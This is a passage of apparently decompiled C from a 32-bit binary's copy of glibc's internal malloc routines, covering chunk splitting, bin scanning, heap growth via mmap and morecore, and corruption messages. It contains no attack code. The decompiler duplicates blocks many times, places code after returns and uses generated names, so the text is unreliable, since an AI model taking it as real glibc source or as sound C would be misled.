*(int32_t *)(v25 + 12) = v26;
*(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v25 + 4) = v93 | 1;
*(int32_t *)(v25 + v93) = v93;
// branch -> 0x80b46a4
} else {
// 0x80b4512
v88 = (int32_t *)(v99 + 4 + g102);
*v88 = *v88 | 1;
if (a1 != (char *)0x8139c40) {
// 0x80b4524
v89 = (int32_t *)(g98 + 4);
*v89 = *v89 | 4;
// branch -> 0x80b46a4
}
}
// 0x80b46a4
result = g98 + 8;
v82 = g69;
g95 = v82;
if (v82 == 0) {
// 0x80b46b4
g98 = (int32_t)v91;
return result;
}
// 0x80b42dd
v78 = v82 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)result;
memset(v76, v78, v4);
// branch -> 0x80b4266
// 0x80b4266
g98 = (int32_t)v76;
return result;
}
// 0x80b44f3
if (v97 == 1) {
// 0x80b44ff
// branch -> 0x80b47cf
// 0x80b47cf
abort();
// UNREACHABLE
}
// 0x80b4c39
v92 = _itoa_word(v85, v10, 16, v10, v1);
g97 = v92;
if (g96 < v92) {
// 0x80b4c57
v94 = -v92;
v95 = -1 - g95;
g97 = -1 - (v95 < v94 ? v94 : v95);
// branch -> 0x80b4c62
}
// 0x80b4c62
v98 = *(int32_t *)g93;
v96 = v98;
if (v98 == 0) {
// 0x80b4ee8
v96 = 0x810918f;
// branch -> 0x80b4c71
}
// 0x80b4c71
v102 = g101 & 2;
g101 = v102;
__libc_message((int32_t *)v102, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b4508
// 0x80b4508
v99 = g98;
if (v93 > 15) {
// 0x80b4bf4
v101 = v99 + v65;
v25 = v101;
v105 = (int32_t)v61;
v26 = v105;
*(int32_t *)(v105 + 8) = v101;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
*(int32_t *)(v25 + 12) = v26;
*(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v25 + 4) = v93 | 1;
*(int32_t *)(v25 + v93) = v93;
// branch -> 0x80b46a4
} else {
// 0x80b4512
v88 = (int32_t *)(v99 + 4 + g102);
*v88 = *v88 | 1;
if (a1 != (char *)0x8139c40) {
// 0x80b4524
v89 = (int32_t *)(g98 + 4);
*v89 = *v89 | 4;
// branch -> 0x80b46a4
}
}
// 0x80b46a4
result = g98 + 8;
v82 = g69;
g95 = v82;
if (v82 == 0) {
// 0x80b46b4
g98 = (int32_t)(int32_t *)v96;
return result;
}
// 0x80b42dd
v78 = v82 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)result;
memset(v76, v78, v4);
// branch -> 0x80b4266
// 0x80b4266
g98 = (int32_t)v76;
return result;
}
int32_t v106 = *(int32_t *)(v85 + 12); // 0x80b44ba
g98 = v106;
int32_t v107 = *(int32_t *)(v106 + 4) & -8; // 0x80b44c0
g102 = v107;
v85 = v106;
while (v107 < v65) {
// 0x80b44ba
v106 += 12;
g98 = v106;
v107 = *(int32_t *)(v106 + 4) & -8;
g102 = v107;
v85 = v106;
// continue -> 0x80b44ba
}
// 0x80b44c8
v93 = v107 - v65;
v104 = *(int32_t *)(v85 + 8);
g97 = v104;
if (v85 == *(int32_t *)(v104 + 12)) {
// 0x80b4c8e
v90 = (int32_t *)(*(int32_t *)(v85 + 12) + 8);
if (v85 == *v90) {
// 0x80b4c97
*v90 = v104;
// branch -> 0x80b4508
// 0x80b4508
v99 = g98;
if (v93 > 15) {
// 0x80b4bf4
v101 = v99 + v65;
v25 = v101;
v105 = (int32_t)v61;
v26 = v105;
*(int32_t *)(v105 + 8) = v101;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
*(int32_t *)(v25 + 12) = v26;
*(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v25 + 4) = v93 | 1;
*(int32_t *)(v25 + v93) = v93;
// branch -> 0x80b46a4
} else {
// 0x80b4512
v88 = (int32_t *)(v99 + 4 + g102);
*v88 = *v88 | 1;
if (a1 != (char *)0x8139c40) {
// 0x80b4524
v89 = (int32_t *)(g98 + 4);
*v89 = *v89 | 4;
// branch -> 0x80b46a4
}
}
// 0x80b46a4
result = g98 + 8;
v82 = g69;
g95 = v82;
if (v82 == 0) {
// 0x80b46b4
g98 = (int32_t)v23;
return result;
}
// 0x80b42dd
v78 = v82 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)result;
memset(v76, v78, v4);
// branch -> 0x80b4266
// 0x80b4266
g98 = (int32_t)v76;
return result;
}
}
// 0x80b44df
v97 = g21;
g101 = v97;
v100 = v97 & 5;
g95 = v100;
if (v100 == 5) {
// 0x80b4eaa
v103 = v97 & 2;
g101 = v103;
v91 = (int32_t *)v103;
__libc_message(v91, (struct struct_59 *)"%s\n");
// branch -> 0x80b4508
// 0x80b4508
v99 = g98;
if (v93 > 15) {
// 0x80b4bf4
v101 = v99 + v65;
v25 = v101;
v105 = (int32_t)v61;
v26 = v105;
*(int32_t *)(v105 + 8) = v101;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
*(int32_t *)(v25 + 12) = v26;
*(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v25 + 4) = v93 | 1;
*(int32_t *)(v25 + v93) = v93;
// branch -> 0x80b46a4
} else {
// 0x80b4512
v88 = (int32_t *)(v99 + 4 + g102);
*v88 = *v88 | 1;
if (a1 != (char *)0x8139c40) {
// 0x80b4524
v89 = (int32_t *)(g98 + 4);
*v89 = *v89 | 4;
// branch -> 0x80b46a4
}
}
// 0x80b46a4
result = g98 + 8;
v82 = g69;
g95 = v82;
if (v82 == 0) {
// 0x80b46b4
g98 = (int32_t)v91;
return result;
}
// 0x80b42dd
v78 = v82 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)result;
memset(v76, v78, v4);
// branch -> 0x80b4266
// 0x80b4266
g98 = (int32_t)v76;
return result;
}
// 0x80b44f3
if (v97 == 1) {
// 0x80b44ff
// branch -> 0x80b47cf
// 0x80b47cf
abort();
// UNREACHABLE
}
// 0x80b4c39
v92 = _itoa_word(v85, v10, 16, v10, v1);
g97 = v92;
if (g96 < v92) {
// 0x80b4c57
v94 = -v92;
v95 = -1 - g95;
g97 = -1 - (v95 < v94 ? v94 : v95);
// branch -> 0x80b4c62
}
// 0x80b4c62
v98 = *(int32_t *)g93;
v96 = v98;
if (v98 == 0) {
// 0x80b4ee8
v96 = 0x810918f;
// branch -> 0x80b4c71
}
// 0x80b4c71
v102 = g101 & 2;
g101 = v102;
__libc_message((int32_t *)v102, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b4508
// 0x80b4508
v99 = g98;
if (v93 > 15) {
// 0x80b4bf4
v101 = v99 + v65;
v25 = v101;
v105 = (int32_t)v61;
v26 = v105;
*(int32_t *)(v105 + 8) = v101;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
*(int32_t *)(v25 + 12) = v26;
*(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v25 + 4) = v93 | 1;
*(int32_t *)(v25 + v93) = v93;
// branch -> 0x80b46a4
} else {
// 0x80b4512
v88 = (int32_t *)(v99 + 4 + g102);
*v88 = *v88 | 1;
if (a1 != (char *)0x8139c40) {
// 0x80b4524
v89 = (int32_t *)(g98 + 4);
*v89 = *v89 | 4;
// branch -> 0x80b46a4
}
}
// 0x80b46a4
result = g98 + 8;
v82 = g69;
g95 = v82;
if (v82 == 0) {
// 0x80b46b4
g98 = (int32_t)(int32_t *)v96;
return result;
}
// 0x80b42dd
v78 = v82 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)result;
memset(v76, v78, v4);
// branch -> 0x80b4266
// 0x80b4266
g98 = (int32_t)v76;
return result;
}
}
}
lab_0xd3d34d0:;
uint32_t v108 = v36 + 1; // 0x80b43fc
int32_t v109 = 8 * v108 + v70; // 0x80b4400
g101 = v109;
int32_t v110 = v108 / 32; // 0x80b4406
result2 = v110;
int32_t v111 = 4 * v110; // 0x80b440c
uint32_t v112 = *(int32_t *)(v111 + v71); // 0x80b440c
uint32_t v113 = v108 % 32; // 0x80b4413
g102 = 1;
int32_t v114 = 1; // 0x80b4432
if (v113 != 0) {
int32_t v115 = 1 << v113; // 0x80b441b
g102 = v115;
v114 = v115;
// branch -> after_if_80b441b_0
}
char * v116 = (char *)(256 * v110 + v57); // 0x80b4425_0
int32_t v117 = v58 + 1072 + v111; // 0x80b442b
v26 = v117;
int32_t v118;
int32_t v119;
char * v120;
char * v121; // bp+012
int32_t v122; // 0x80b445d
if (v112 < v114) {
v121 = v116;
lab_0xb24de10:;
int32_t v123 = v117 + 8; // 0x80b4450
int32_t v124 = v117; // 0x80b443d
int32_t v125 = v110; // 0x80b443c
char * v126 = v121; // bp+013
// branch -> 0x80b443c
char * v127; // 0x80b4440_4
int32_t v128; // 0x80b4450
int32_t v129; // 0x80b4440
while (true) {
int32_t v130 = v125 + 1; // 0x80b443c
result2 = v130;
int32_t v131 = v124 + 4; // 0x80b443d
v26 = v131;
v129 = (int32_t)v126;
v127 = (char *)(v129 + 256);
if (v130 > 3) {
int32_t v132 = *v20; // 0x80b457f
g98 = v132;
uint32_t v133 = *(int32_t *)(v132 + 4) & -8; // 0x80b4587
if (v8 > v133) {
// 0x80b459b
if (*(char *)(v58 + 4) == 1) {
// 0x80b45a8
g95 = v58;
malloc_consolidate(v1, v32);
// branch -> 0x80b4323
break;
} else {
int32_t v134 = g76; // 0x80b48c4
int32_t v135 = -v134;
int32_t v136 = v134 - 1; // 0x80b48c9
int32_t v137 = v132; // 0x80b4918
int32_t v138; // 0x80b4aa7
int32_t v139; // 0x80b4906
int32_t v140; // 0x80b49a5
int32_t v141; // 0x80b4b04
int32_t v142; // 0x80b4b59
int32_t v143; // 0x80b4b5e
int32_t v144; // 0x80b4b69
int32_t v145; // 0x80b4ac0
int32_t v146; // 0x80b4b53
int32_t * v147; // 0x80b48fd_0
int32_t * v148; // 0x80b4908_0
int32_t * v149; // 0x80b4923_0
struct struct_135 * v150; // 0x80b4965_4
int32_t * v151; // 0x80b497e_0
int32_t * v152; // 0x80b49d4_0
int32_t * v153; // 0x80b4b69_3
int32_t v154; // 0x80b4b99_0
int32_t * v155; // 0x80b4d17_0
uint32_t v156; // 0x80b4f0a_0
int32_t * v157; // bp+027
int32_t * v158; // bp+028
int32_t v159; // 0x80b4932
int32_t v160; // 0x80b4965
int32_t * v161; // 0x80b4ace
int32_t * v162; // 0x80b4b6c
int32_t * v163; // 0x80b4d01
int32_t * v164; // 0x80b4dfa
int32_t * v165; // 0x80b4f1739
int32_t * v166; // 0x80b4f1740
int32_t v167; // 0x80b4f28
int32_t v168; // 0x80b4b63
int32_t v169; // 0x80b4938
int32_t v170; // 0x80b4cfe
int32_t v171; // 0x80b4a26
int32_t v172; // 0x80b4aaa
int32_t v173; // 0x80b4adf
int32_t v174; // 0x80b4b7e
int32_t v175; // 0x80b4cc9
int32_t v176; // 0x80b4e2b
int32_t v177; // 0x80b4b56
int32_t v178; // 0x80b491a
int32_t v179; // 0x80b4945
int32_t v180; // 0x80b4ac5
int32_t v181; // 0x80b4e1b
int32_t v182; // 0x80b4900
int32_t v183; // 0x80b4937
int32_t v184; // 0x80b494a
int32_t v185; // 0x80b498d
uint32_t v186; // 0x80b49ce
uint32_t v187; // 0x80b49eb
int32_t v188; // 0x80b49f9
uint32_t v189; // 0x80b4b45
int32_t v190; // 0x80b4bbd
int32_t v191; // 0x80b4ddb
int32_t v192; // 0x80b4df1
int32_t v193; // 0x80b4d14
int32_t * v194; // 0x80b4f2a6
int32_t v195; // 0x80b4923
int32_t v196; // 0x80b4984
int32_t v197; // 0x80b49e5
int32_t v198; // 0x80b4ac0
int32_t v199; // 0x80b4aea
int32_t v200; // 0x80b4b01
int32_t v201; // 0x80b4b53
int32_t v202; // 0x80b4b8b
int32_t v203; // 0x80b4cd3
int32_t v204; // 0x80b4e1b
int32_t * v205; // bp+031
int32_t v206; // 0x80b499f
int32_t v207; // 0x80b49ba
int32_t v208; // 0x80b4bb8
int32_t v209; // 0x80b4cd0
if (v65 >= g72) {
// 0x80b48d8
if (g73 < g74) {
int32_t v210 = v65 + 10 + v134 & v135; // 0x80b48f0
g101 = v210;
if (v65 < v210) {
int32_t * v211 = mmap(&v11->e0, v210, 3, 34, -1, v10); // 0x80b4d3b
uint32_t v212 = (int32_t)v211; // 0x80b4d45_0
if (v211 == (int32_t *)-1) {
int32_t v213 = *v20; // 0x80b4f02
g98 = v213;
v137 = v213;
int32_t * v214 = (int32_t *)34; // bp+055
// branch -> 0x80b48fa
// 0x80b48fa
v147 = (int32_t *)(v137 + 4);
v182 = *v147 & -8;
v139 = v182 + v137;
v148 = (int32_t *)v139;
if (a1 == (char *)0x8139c40) {
// 0x80b4a9e
v138 = v8 + g71;
v172 = g81;
v198 = v138;
if (v172 == 2) {
// 0x80b4ab5
v198 = v138 - v182;
// branch -> 0x80b4ab8
}
// 0x80b4ab8
g96 = v135;
v145 = v198 + v136;
v180 = v145 & v135;
g102 = v180;
v175 = v180;
int32_t * v215; // bp+052
int32_t * v216; // bp+054
int32_t v217; // 0x80b4a0d
if (v145 > v135) {
// 0x80b4acd
v161 = __default_morecore((int32_t *)v180);
if (v161 != NULL) {
// 0x80b4adf
v173 = g65;
g95 = v173;
g1 = false;
g103 = v173 == 0;
if (v173 != 0) {
// 0x80b4ae8
((int32_t (*)())v173)();
// branch -> 0x80b4aea
}
// 0x80b4aea
v199 = g102;
v177 = v199;
v216 = v214;
v166 = NULL;
v194 = v161;
// branch -> 0x80b4af4
// 0x80b4af4
v156 = (int32_t)v194;
if (g79 == 0) {
// 0x80b4f0a
g79 = v156;
// branch -> 0x80b4b01
}
// 0x80b4b01
v200 = (int32_t)(int32_t *)v199;
v141 = g84 + v200;
g84 = v141;
if (v148 == v194) {
// 0x80b4e8e
if (v166 == NULL) {
// 0x80b4e99
*(int32_t *)(g98 + 4) = v200 + v182 | 1;
// branch -> 0x80b49cb
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v216;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
}
// 0x80b4b19
if ((char)g81 != 2) {
// 0x80b4ca4
if (v166 == NULL) {
// 0x80b4ec5
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v194;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
// 0x80b4caf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v194;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v166 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
v217 = v58 != 0x8139c40 ? 4 : 0;
*(int32_t *)(result2 + 4) = v65 | v217 | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v215;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
// 0x80b4b26
if (v182 == 0) {
// 0x80b4b43
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
v158 = (int32_t *)7;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v167 = 8 - v156 % 8;
v201 = v167;
v158 = (int32_t *)(v167 + v156);
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v153 = (int32_t *)v144;
v162 = __default_morecore(v153);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)v153;
*(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v215;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
// 0x80b4b2d
if (v148 > v194) {
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
v217 = v58 != 0x8139c40 ? 4 : 0;
*(int32_t *)(result2 + 4) = v65 | v217 | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v216;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
// 0x80b4b36
g84 = v141 + v156 - v139;
// branch -> 0x80b4b43
// 0x80b4b43
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
v158 = (int32_t *)7;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v167 = 8 - v156 % 8;
v201 = v167;
v158 = (int32_t *)(v167 + v156);
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v153 = (int32_t *)v144;
v162 = __default_morecore(v153);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)v153;
*(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v215;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
// 0x80b4cbb
v175 = g102;
// branch -> 0x80b4cc1
// 0x80b4cc1
v203 = v175;
if ((g81 & 2) == 0) {
// 0x80b4cc6
v209 = v175 + v182 + v136 & v135;
g102 = v209;
v203 = v209;
// branch -> 0x80b4cd3
}
// 0x80b4cd3
v170 = v203;
v205 = (int32_t *)v203;
if (v203 < 0x100000) {
// 0x80b4cde
g102 = 0x100000;
v170 = 0x100000;
v205 = (int32_t *)0x100000;
// branch -> 0x80b4cea
}
// 0x80b4cea
if (v64 < v205) {
// 0x80b4cf6
v163 = mmap(&v11->e0, v170, 3, 34, -1, v10);
if (v163 != (int32_t *)-1) {
// 0x80b4d14
v193 = g102;
v155 = (int32_t *)(v193 + (int32_t)v163);
g81 |= 2;
if (v163 != NULL) {
v177 = v193;
v216 = (int32_t *)34;
v166 = v155;
v194 = v163;
// 0x80b4af4
v156 = (int32_t)v194;
if (g79 == 0) {
// 0x80b4f0a
g79 = v156;
// branch -> 0x80b4b01
}
// 0x80b4b01
v200 = (int32_t)v205;
v141 = g84 + v200;
g84 = v141;
if (v148 == v194) {
// 0x80b4e8e
if (v166 == NULL) {
// 0x80b4e99
*(int32_t *)(g98 + 4) = v200 + v182 | 1;
// branch -> 0x80b49cb
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v216;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
}
// 0x80b4b19
if ((char)g81 != 2) {
// 0x80b4ca4
if (v166 == NULL) {
// 0x80b4ec5
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v194;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
// 0x80b4caf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v194;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v166 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
